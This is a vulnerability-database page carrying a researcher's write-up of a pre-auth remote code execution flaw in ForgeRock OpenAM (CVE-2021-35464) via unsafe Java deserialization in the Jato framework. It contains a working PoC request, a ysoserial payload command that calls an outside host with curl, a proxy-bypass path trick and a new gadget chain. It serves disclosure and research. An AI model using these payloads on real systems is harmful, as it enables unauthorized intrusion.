Lucene search

K
seebugKnownsecSSV:99284
HistoryJul 05, 2021 - 12:00 a.m.

ForgeRock AM远程代码执行漏洞(CVE-2021-35464)

2021-07-0500:00:00
Knownsec
www.seebug.org
100

0.974 High

EPSS

Percentile

99.9%

Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464)

Michael Stepankin

Researcher

@artsploit

  • Published: 29 June 2021 at 11:23 UTC

  • Updated: 29 June 2021 at 18:15 UTC

While participating in one private bug bounty program, I discovered a pre-auth
RCE in ForgeRock OpenAM server - a popular access management solution for web
applications. In this blog post, I’m going to share some details about how I
found this vulnerability and developed an exploit for it. I’m also going to
explain the new Ysoserial deserialization gadget
chain

I created specifically for this exploit.

In short, RCE is possible thanks to unsafe Java
deserialization
in the
Jato framework used by OpenAM. Here is the minimal exploit PoC:

GET /openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>

<serialized_object> is a serialized Java object, prepended with a null byte
and encoded with base64url. You can generate this object using my ysoserial
chain as follows:

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://id.burpcollaborator.net" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='

Although I was able to exploit this vulnerability on a number of bug bounty
targets, the latest version of ForgeRock OpenAM (7.1) is not affected. As I
couldn’t find any information about this vulnerability anywhere, I decided to
share some details in this blog post.

The Story

During my research into OAuth vulnerabilities, I looked
at different OAuth and OpenId systems I can find
on bug bounty scopes. With the help of a few magic scripts James Kettle shared
with me, I discovered all servers that respond to the “/well-known/openid-
configuration” URI and took a brief look at their configuration. As my
intention was to find truly impactful vulnerabilities rather than just
“something”, I decided to focus on the systems that are either open source or
available to download and decompile. ForgeRock OpenAm was one such system that
I found in the bug bounty scope. It appeared to me as a monstrous Java
Enterprise application with a huge attack surface, so I decided to take a
deeper look into it.

Obtaining Code & Decompiling

Enterprise Java applications are normally quite big. Even if you have the
source code, resolving all the dependencies can be a pretty tedious task to
say the least. To make my life easier, I normally search for public Docker
images because they already have all the required components. In the case of
OpenAm, setting up a test instance was as easy as:

docker run -h localhost -p 7080:8080 --name openam openidentityplatform/openam

After examining the environment within the Docker container, I found that I
could obtain the packaged web application from the standard
/usr/local/tomcat/webapps folder:

docker cp openam://usr/local/tomcat/webapps/openam.war ./

Next, we need to unpack the WAR file and decompile all the JARs (libraries)
inside so that we can look at the source code. I’m a huge fan of using
Intellij IDEA for dealing with Java code as it provides handy methods for
searching and building call graphs. Few people know that it has a built-in
Java decompiler that can be used from the console. All we need to do is to put
all compiled JARs into the single directory and call the following command:

java -Xmx7066M -cp "/Applications/IntelliJ IDEA.app/Contents/plugins/java-decompiler/lib/java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -mpm=3 ./lib/openam* ./lib-decompiled

Decompiling everything might take a while, so I normally choose only JARs that
don’t look like standard libraries.

After that, I created a blank Java project and included everything as
libraries and their source. You only need to specify two directories with
compiled and decompiled JARs. IDEA expects them to be in the same format that
the decompiler tool produces, so we don’t need to unpack every single JAR or
move anything.

IDEA project with libraries

Source code analysis

As with almost all Java web applications, I started by looking into the
web.xml file to understand the routing and all available endpoints. Before
searching for vulnerabilities, I always try to understand what pages I can
reach and what authorization filtering is in place. I noticed a mix of classic
Java servlets and different frameworks, showing that the application has been
developed over a long period of time.

After spending several years analyzing Java code, I’ve trained my eyes to
catch anything related to XML processing, deserialization, reflection, and
other insecure-by-default Java methods. When it came to OpenAm source, I
noticed several places where XML parsing and deserialization occurs in a safe
manner, meaning the developers already put some effort into securing the
application code.

Although [there are numerous tools](https://owasp.org/www-
community/Source_Code_Analysis_Tools) that can be used to find vulnerabilities
in code, most of them have serious limitations in terms of coverage.
Especially when it comes to analyzing dependencies, source code analyzers
often can’t connect “sources” in one component to “sinks” in another, missing
the potential vulnerability. So, I didn’t give up and carry on looking at the
source code.

Jato

One of the frameworks I noticed in use was Sun ONE Application Framework
(Jato)
- a 20 year
old legacy framework without a single CVE assigned. As I haven’t seen it
before, I decided to take a look at how it handles incoming requests. After
decompiling it and studying its source code, I found something interesting:

com/iplanet/jato/view/ViewBeanBase.class:

protected void deserializePageAttributes() {
  if (!this.isPageSessionDeserialized()) {
    ...
    
    String pageAttributesParam = context.getRequest().getParameter("jato.pageSession");
    if (pageAttributesParam != null && pageAttributesParam.trim().length() &gt; 0) {
      try {
        this.setPageSessionAttributes((Map)Encoder.deserialize(Encoder.decodeHttp64(pageAttributesParam), false));
      } catch (Exception var4) {

If the request contains a “jato.pageSession” query parameter, Jato
deserializes its value to the session attribute. Internally, it performs
native Java serialization using ObjectInputSteam, with a compression on top.
To check my understanding, I had to generate an exploit payload object and
properly serialize it with the required format.

As I was too lazy to work out how exactly the compression is performed, I
simply created a new Java project and included jato-2005-05-04.jar and
ysoserial.jar as libraries. Then, I wrote some code to create a payload object
with the URLDNS gadget chain and Jato’s serializer:

import com.iplanet.jato.util.Encoder;
import ysoserial.payloads.URLDNS;
import java.io.Serializable;

public class Main {
  
  public static void main(String[] args) throws Exception {
    
    Object payload = new URLDNS().getObject("http://xxx4.x.artsploit.com/");
    byte[] payloadBytes = Encoder.serialize((Serializable) payload, false);
    String payloadString = Encoder.encodeHttp64(payloadBytes, 1000000);
    System.out.println(payloadString);
  }
}

The output of this program was the desired payload for “jato.pageSession”
parameter.

Then, from the OpenAm source code, I discovered several endpoints where the
Jato framework was used. A number of them, including "/ccversion/Version ‘’
were available without authentication, which was a perfect target.

DNS pingback

And… It worked! URLDNS payload triggered the DNS resolution on the local
target. By briefly looking at the available libraries in the classpath, I
noticed commons-beanutils:1.9.4 is included, so the CommonsBeanutils1 gadget
chain from ysoserial can lead to the desired RCE.

Testing on bug bounty (and failing)

Hyped by the exploit working locally, I stumbled upon “403 Forbidden” on my
bug bounty target. The target server was behind a reverse proxy, which
prohibits access to any URL that does not start from “/openam/oauth2/”.

404 not found error

Luckily, the well-known [Apache Tomcat Path traversal
trick](https://portswigger.net/research/top-10-web-hacking-techniques-
of-2018#1) (…;/) worked perfectly to bypass this restriction:

GET /openam/oauth2/..;/ccversion/Version

Restriction bypass

After that, I expected to get code execution straight away, but there was
another obstacle: neither URLDNS nor CommonsBeanutils1 chais worked on the
bounty target:( On top of that, the server did not expose any errors. The only
ysoserial gadget chain that worked was JRMPClient, but it only caused a delay
in the response, meaning that the server tries to connect to a firewalled
external address and hangs.

I was discouraged. Although the JRMPClient chain provided solid evidence that
deserialization occurs, I knew it would be hard to convince triagers that this
was a critical vulnerability.

At this point, I realized that the product I have on the bug bounty target was
not quite the same as what I’d been using locally. ForgeRock was maintaining
[an open source version of OpenAM](https://github.com/ForgeRock/openam-
community-edition) until 2017, but later they decided to develop the
proprietary version and call it ForgeRock Access
Management
. The version I tested
locally was one of the open source forks, called
OpenIdentityPlatform/OpenAM,
which is very similar but not exactly the same as AM.

As CommonsBeanutils1 didn’t work on my bug bounty target, I decided to find
another one.

Building a custom gadget chain

Those of you who are familiar with Java deserialization may know that
deserialization allows attackers to send an object of an arbitrary class and
trigger its readObject method. While it was considered harmless for many
years, in 2015 @frohoff and @gebl demonstrated several ways to trigger remote
code execution from the readObject method in common libraries, including the
widely used Apache Commons Collections.

There are two open source projects that can help us to find other ways to
exploit readObject, namely
gadgetinspector by
JackOfMostTrades and serianalyzer
by mbechler. Both of them are basically static code analyzers; they have a
defined list of sources (such as “readObject”) and sinks (such as
Runtime.exec()).

The first tool,
gadgetinspector,
discovered about 13 potential chains and generated output in the following
format:

java/security/cert/CertificateRevokedException.readObject()
  java/util/TreeMap.put()
   org/apache/click/control/Column$ColumnComparator.compare()
    org/apache/click/control/Column.getProperty()
     org/apache/click/control/Column.getProperty()
      org/apache/click/util/PropertyUtils.getValue()
       org/apache/click/util/PropertyUtils.getObjectPropertyValue()
        java/lang/reflect/Method.invoke()

All of the chains discovered by this tool had the same “sink” method:
“java/lang/reflect/Method.invoke”, which allows programmers to invoke
arbitrary Java methods by their name provided in runtime. Since the code
analyzer cannot identify whether the dangerous method is being called on user
supplied data, we are expected to do it manually.

12 of the potential chains discovered by
gadgetinspector were
false positives, but one chain I highlighted above was somehow interesting.

It starts with the “ColumnComparator.compare” method, which basically compares
two serialized objects by comparing their properties. Now take a look at the
last method that calls the sink (PropertyUtils.getObjectPropertyValue):

private static Object getObjectPropertyValue(Object source, String name, Map cache) {
  PropertyUtils.CacheKey methodNameKey = new PropertyUtils.CacheKey(source, name);
  Method method = null;
  
  try {
    method = (Method)cache.get(methodNameKey);
    if (method == null) {
      method = source.getClass().getMethod(ClickUtils.toGetterName(name));
      cache.put(methodNameKey, method);
    }
    
    return method.invoke(source);

“Object source” is the object currently being deconstructed and “String name”
is the property name we can control. Essentially, this method allows us to
call an arbitrary [“Getter” method](https://www.freecodecamp.org/news/java-
getters-and-setters/) on the current object. This getter does not have any
parameters, we can only specify a property name, which is a “String” type.

This may look not impactful at first glance, but there is a known Java class
org.apache.xalan.xsltc.trax.TemplatesImpl , which is serialializable and
executes the supplied bytecode during the getOutputProperties method call.
It’s widely used in other gadget chains in
ysoserial and exactly what we need to
trigger the code execution.

To trigger the initial method (ColumnComparator.compare), gadgetinspector
suggested using CertificateRevokedException.readObject at the start of the
gadget chain, but as it turned out, this wasn’t possible. Luckily, the
CommonsBeanutils1 chain from ysoserial has a similar gadget in the form of
“java.util.PriorityQueue.readObject”, which also leads to
“ColumnComparator.compare”.

In the end, I was able to construct the required object by adding a new class
and a gadget chain to the ysoserial
project. Here is the final execution path from “readObject” to “Runtime.exec”

java.util.PriorityQueue.readObject()
 java.util.PriorityQueue.heapify()
  java.util.PriorityQueue.siftDown()
   java.util.PriorityQueue.siftDownUsingComparator()
    org.apache.click.control.Column$ColumnComparator.compare()
     org.apache.click.control.Column.getProperty()
      org.apache.click.control.Column.getProperty()
       org.apache.click.util.PropertyUtils.getValue()
        PropertyUtils.getObjectPropertyValue()
         java.lang.reflect.Method.invoke()
          TemplatesImpl.getOutputProperties()
           TemplatesImpl.newTransformer()
            TemplatesImpl.getTransletInstance()
             TemplatesImpl.defineTransletClasses()
              ClassLoader.defineClass()
               Class.newInstance()
               ...
                MaliciousClass.&lt;clinit&gt;()
                ...
                 Runtime.exec()

The exact way of turning this chain into complete exploit is quite complex,
but if you’re interested in details of this magic, the best way is to open
ysoserial’s code in your editor, and execute the unit test in the
ysoserial/test/payloads/PayloadsTest
class.

You can set the breakpoint at
ysoserial.payloads.Click1.getObject()
method and see the full process of how object reconstruction leads to RCE.

Let’s get this bread

When I was finally able to generate the serialized exploit object, it turned
out it worked smoothly not only in the local environment, but also on my bug
bounty target.

request caused delay

Since it was a blind execution case (with no OOB traffic allowed), I managed
to execute a ‘sleep 10’ command, which was a huge relief. The ultimate output
of the “id” command also didn’t take too long to obtain: I blindly executed
this command and saved the result to the web folder:

execution of id command

The patch

This vulnerability was patched in ForgeRock AM version 7.0 by entirely
removing the “/ccvesion” endpoint, along with other legacy endpoints that use
Jato. At the same time, Jato framework has not been updated for many years, so
all other products that rely on it may still be affected. ForgeRock have
provided a
workaround

for people still running 6.X.

It’s worth noting that this vulnerability does not affect instances running
with Java version 9 or newer, since Jato requires classes that have been
removed in Java 9. It’s one of the
reasons
why
ForgeRock AM versions prior 7, such as 6.5, are still running on Java 8.

Key takeaways

  • Source code analysis and local testing are essential for finding issues like this one.
  • URLDNS and JRMPClient gadget chains are the most universal for testing deserialization in Java
  • Even in solutions designed for authentication, you can find a big attack surface available without any auth.
  • Automatic source code analysis tools are not sufficient if they don’t cover dependencies.
  • Java deserialization rocks.